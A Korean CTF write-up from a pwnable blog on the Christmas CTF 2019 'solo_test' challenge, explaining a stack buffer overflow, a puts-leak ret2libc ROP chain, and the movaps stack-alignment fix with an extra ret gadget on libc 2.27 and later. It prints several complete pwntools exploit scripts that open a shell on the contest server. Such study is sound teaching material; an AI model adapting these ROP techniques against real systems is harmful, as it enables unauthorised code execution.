ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Christmas CTF 2019 Solo Test] 우분투 18.04 이후 버전에서 ROP가 안되는 문제에 대해 (Libc2.27 이후 버전
    WeekHack/Pwnable 2019. 12. 30. 02:34
    반응형
    SMALL

    안녕하세요. Luke입니다. 오랜만에 하는 pwnable 포스팅입니다.

    2019년 데프콘 이후로 알게되었던 문제인데, 우분투 16에서는 작동하는 익스코드가 우분투 18버전 이후로만 넘어오면 익스가 안되는 경우가 있습니다. (그거 때매 데프콘에서 고생해서 알게되었죠.) 이 문제에 대한 해결방법을 꼭 언젠간 포스팅을 해야겠다고 미루고 미루다가 이번 Christmas CTF 2019에서 이를 활용한 문제에 대해 나오길래 포스팅합니다. 제 블로그 포스팅 신조인 "글은 뉴비도 알아보기 쉽게"를 위해 최대한 쉽고 절차적으로 써보도록 하겠습니다.

     

    이번 포스팅의 핵심은 아무래도 libc2.27 이후 버전에서의 ROP이므로 기본적인 ROP방법에 대해서는 설명하지 않습니다. 기본적인 ROP방법에 대해서는 이전에 올린 글을 참고해주세요!

    32비트 ROP: https://weekhack.tistory.com/11?category=782939

     

    [32비트 ROP] Plaid CTF 2013 Ropasaurusrex

    안녕하세요. 신재욱입니다. 코드게이트 잘 다녀와서 독감이 걸리고 말았네요 흑흑...(어쩐지 코드게이트에서부터 계속 힘들더라고요 ㅠㅠ) 어쨋든 학교를 쉬는 김에 64비트 ROP를 클리어 해보기 위해! 다시 한번 3..

    weekhack.tistory.com

    64비트 ROP: https://weekhack.tistory.com/13?category=782939

     

    Codegate2018 Qual BaskinRobbins31 문제풀이(1일 1포너블 1일차 by 신재욱 - 2019.4.18<목>)

    안녕하세요. 신재욱입니다. 1일 1 pwnable 1일차입니다. 60일을 목표로 시작하는데 첫 걸음을 띄었다는 것에 대해 놀랍네요. 오늘 풀 문제는 Codegate2018 예선 문제였던 BaskinRobbins31를 풀어볼 예정입니다. 저..

    weekhack.tistory.com

     


    문제는 다음과 같습니다. (혹시 바이너리가 필요하시면 개인적으로 연락해주세요.)

    Aleph-Infinite 팀의 깃헙에 바이너리가 존재한다고 합니다. 바이너리는 아래 링크를 참고해주세요.

    https://github.com/Aleph-Infinite/2019-Christmas-CTF/

     

     

    Christmas CTF2019 Solo Test

     

     

     

    먼저 바이너리를 분석해보도록 하겠습니다.

     

     

    >> file solo_test

     

     

    바이너리는 일단 64비트 바이너리입니다.

     

    ida64를 이용해서 빠르게 분석해보도록 하겠습니다. (헥스레이 최고얌 ㅎㅎ)

     

     

    main 함수입니다.

     

     

    바이너리가 실행되면 pain1()~pain5()함수를 거친 뒤 solo()라는 함수를 실행합니다.

     

     

     

    pain1()~pain5()

     

     

     

    pain1()~pain5() 함수에는 솔로에게 치명적인 몇몇 질문을 한 뒤에 정해진 대답을 해야지만 다음으로 넘어갈 수 있게 해줍니다.

     

     

     

    취약점이 터지는 solo() 함수

     

     

    5가지 pain 함수를 거치고 나면, solo()함수가 실행되는데, solo()함수에서 취약점이 터지게 됩니다.

    buf버퍼는 0x50(80)이지만, read함수가 0x200(512)만큼 입력을 받으므로 버퍼오버플로우가 터지게 됩니다.

     

    그럼 이쯤에서 checksec을 해보겠습니다.

     

     

    checksec solo_test

     

     

    NX 하나만 걸려있으므로 그냥 ROP만 하면 문제가 풀리게 될 것 같습니다.

     

    그래서 우분투 16.04(libc2.23을 사용합니다.)에서 다음과 같은 익스코드를 이용해 익스를 해봅시다.

    from pwn import *
      
    bina="./solo_test"
    #p=remote("115.68.235.72", 1337)
    p=process("./solo_test")
    e=ELF(bina)
    libc=e.libc
    p.recvuntil(">> ")
    p.sendline("Me")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil(">> ")
    p.sendline("CTF")
    p.recvuntil(">> ")
    p.sendline("Never")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil("Reward --> ")
    
    read_got=e.got['read']
    read_plt=e.plt['read']
    puts_got=e.got['puts']
    puts_plt=e.plt['puts']
    solo=0x4009F3
    pr=0x00400b83
    
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(puts_got)
    pay+=p64(puts_plt)
    pay+=p64(solo)
    
    p.sendline(pay)
    
    leak = u64(p.recv(6)+"\x00\x00")
    log.success("leak: "+hex(leak))
    base=leak-libc.symbols['puts']
    system=base+libc.symbols['system']
    binsh = base + next(libc.search("/bin/sh"))
    
    
    p.recvuntil("Reward --> ")
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(binsh)
    pay+=p64(system)
    pay+="A"*8
    p.sendline(pay)
    p.interactive()

     

    그럼 다음 그림과 같이 익스가 됩니다!

     

     

     

     

     

    그렇지만, 이렇게 끝난다면 제가 이 글을 쓰지 않았겠지요. 이걸 리모트 환경으로 바꾸어 다음과 같은 코드를 사용한다면, 익스가 될까요?

    from pwn import *
      
    bina="./solo_test"
    p=remote("115.68.235.72", 1337)
    #p=process("./solo_test")
    e=ELF(bina)
    libc=e.libc
    p.recvuntil(">> ")
    p.sendline("Me")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil(">> ")
    p.sendline("CTF")
    p.recvuntil(">> ")
    p.sendline("Never")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil("Reward --> ")
    
    read_got=e.got['read']
    read_plt=e.plt['read']
    puts_got=e.got['puts']
    puts_plt=e.plt['puts']
    solo=0x4009F3
    pr=0x00400b83
    
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(puts_got)
    pay+=p64(puts_plt)
    pay+=p64(solo)
    
    p.sendline(pay)
    
    leak = u64(p.recv(6)+"\x00\x00")
    log.success("leak: "+hex(leak))
    base=leak-libc.symbols['puts']
    system=base+libc.symbols['system']
    binsh = base + next(libc.search("/bin/sh"))
    
    
    p.recvuntil("Reward --> ")
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(binsh)
    pay+=p64(system)
    pay+="A"*8
    p.sendline(pay)
    p.interactive()

    차이점은 그냥 리모트 환경으로만 바꾸었다는 것입니다.

     

     

     

     

    이번엔 익스가 되지 않습니다.

     

    그럼 포너블을 공부해보신 독자분들께서는 물어보시겠죠.

    "엥 그거 libc버전 안맞아서 그런거 아냐?"

    네. 그것도 맞습니다. 그래서 이번엔 leak된 주소를 기반으로 libc database를 이용해서 libc를 구해와봤습니다.

     

     

    https://libc.blukat.me/?q=puts%3Acc0&l=libc6_2.29-0ubuntu2_amd64

     

     

     

    그렇게 구해온 libc를 libc.so라고 파일명을 바꿔서 안에 넣고 다음과 같은 익스코드로 다시 익스를 도전해보았습니다!

    from pwn import *
      
    bina="./solo_test"
    p=remote("115.68.235.72", 1337)
    #p=process("./solo_test")
    e=ELF(bina)
    libc=ELF('libc.so')
    p.recvuntil(">> ")
    p.sendline("Me")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil(">> ")
    p.sendline("CTF")
    p.recvuntil(">> ")
    p.sendline("Never")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil("Reward --> ")
    
    read_got=e.got['read']
    read_plt=e.plt['read']
    puts_got=e.got['puts']
    puts_plt=e.plt['puts']
    solo=0x4009F3
    pr=0x00400b83
    
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(puts_got)
    pay+=p64(puts_plt)
    pay+=p64(solo)
    
    p.sendline(pay)
    
    leak = u64(p.recv(6)+"\x00\x00")
    log.success("leak: "+hex(leak))
    base=leak-libc.symbols['puts']
    system=base+libc.symbols['system']
    binsh = base + next(libc.search("/bin/sh"))
    
    
    p.recvuntil("Reward --> ")
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(binsh)
    pay+=p64(system)
    pay+="A"*8
    p.sendline(pay)
    p.interactive()

    libc를 e.libc가 아닌 libc.so 파일에서 가져오게만 했습니다.

     

     

     

     

    그래도 익스가 안됩니다! ㅂㄷㅂㄷ... 뭐가 문제일까요...

     

    문제는 바로.. movaps라는 명령어 입니다. 무슨뜻이냐고요?

    이제 알아볼겁니다 ㅎㅎ

     

    여러분이 아시다시피 리눅스에서 함수를 실행시킬 때 동적 링크된 함수는 해당 운영체제에 있는 공유 라이브러리인 libc에서 확인하여 실행하게 됩니다.(윈도우는 dll)

    [libc에 대한 자세한 정보는: https://www.lesstif.com/pages/viewpage.action?pageId=12943542 에 정리가 잘 되어있습니다.]

     

    그런데 우리의 로컬 환경인 우분투16.04는 libc2.23이라는 버전을 사용하고, 대회 환경에서는 libc.2.29를 사용합니다.

    이것이 문제인데요, libc2.27 버전 이후의 libc는 포너블 할때에 영향을 끼치는 문제가 적용되어 있습니다.

     

    데프콘에서 이 문제 때문에 speedrun-002를 풀 때 애먹었었는데요. 데프콘 때 가장 먼저 해당 문제를 해결한 현이 찬스를 쓰자면,

     

     

    최고다 박현!

     

     

    현이 덕분에 큰 감을 잡았습니다만, 그래서 어디서 막히는지 확인을 해보면 바로 movaps라는 옵코드에서 문제가 생깁니다.

     

     

    더러운 movaps

     

     

    movaps라는 옵코드는 인자로 16바이트만을 받아오는데, 우리가 입력한 주소는 16바이트가 아닌 8바이트입니다.

    다시 한번 봐볼까요?

     

     

     

     

    우리 분명 system함수의 인자로 binsh 64비트 주소값(8바이트) 넣었죠?

    그래서 중간에 크래쉬가 난 것입니다.

     

    그럼 어떻게 해야할까요? ret을 사용하여 이 문제를 해결 할 수 있었습니다.

     

    ret은 다음과 같은 동작을 합니다.

    pop eip

    jmp eip

     

    eip를 pop하고, eip로 이동합니다. 즉, 스택을 8바이트 밀어버립니다(64비트 기준).

    그렇기에 저기서는 binsh주소 다음에 ret을 한번 해주면, 정상적으로 movaps가 작동하면서 익스가 됩니다.

     

    그럼 이제 그러기 위해 ret주소를 찾아봅시다.

     

     

     

     

    많은 ret이 나오지만 저는 그중에서도 0x004005f1를 사용하겠습니다.

     

    익스코드에 ret을 추가해서 다음과 같이 익스를 하면..!

    from pwn import *
    
    bina="./solo_test"
    p=remote("115.68.235.72", 1337)
    #p=process("./solo_test")
    e=ELF(bina)
    libc=ELF('libc.so')
    p.recvuntil(">> ")
    p.sendline("Me")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil(">> ")
    p.sendline("CTF")
    p.recvuntil(">> ")
    p.sendline("Never")
    p.recvuntil(">> ")
    p.sendline("No")
    p.recvuntil("Reward --> ")
    
    read_got=e.got['read']
    read_plt=e.plt['read']
    puts_got=e.got['puts']
    puts_plt=e.plt['puts']
    solo=0x4009F3
    pr=0x00400b83
    
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(puts_got)
    pay+=p64(puts_plt)
    pay+=p64(solo)
    
    p.sendline(pay)
    
    leak = u64(p.recv(6)+"\x00\x00")
    log.success("leak: "+hex(leak))
    base=leak-libc.symbols['puts']
    system=base+libc.symbols['system']
    binsh = base + next(libc.search("/bin/sh"))
    
    
    p.recvuntil("Reward --> ")
    pay="A"*80+"B"*8
    pay+=p64(pr)
    pay+=p64(binsh)
    pay+=p64(0x004005f1)
    pay+=p64(system)
    pay+="A"*8
    p.sendline(pay)
    p.interactive()

     

     

     

     

     

    성공적으로 쉘을 딸 수 있으며, 동시에

     

     

     

     

    대회 환경에서는 쉘도 딸 수 있었습니다!

    XMAS{y0u_kn0w...S010_f0rever!}

     

    그럼 다음에 또 봐요!

     

    Special Thank to 박현

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack